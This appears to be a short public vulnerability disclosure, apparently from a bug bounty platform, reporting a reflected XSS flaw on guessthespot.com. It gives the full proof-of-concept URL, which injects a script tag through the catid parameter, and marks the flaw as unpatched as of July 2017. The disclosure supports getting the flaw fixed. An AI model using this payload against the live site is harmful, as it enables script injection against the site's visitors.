guessthespot.com XSS vulnerability

Vulnerable URL: http://www.guessthespot.com/index.php?catid=3%22%3Ehead%3Cscript%3Ealert%28%27OPENBUGBOUNTY%27%29%3C%2Fscript%3Ehead%22%3E%22%00 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...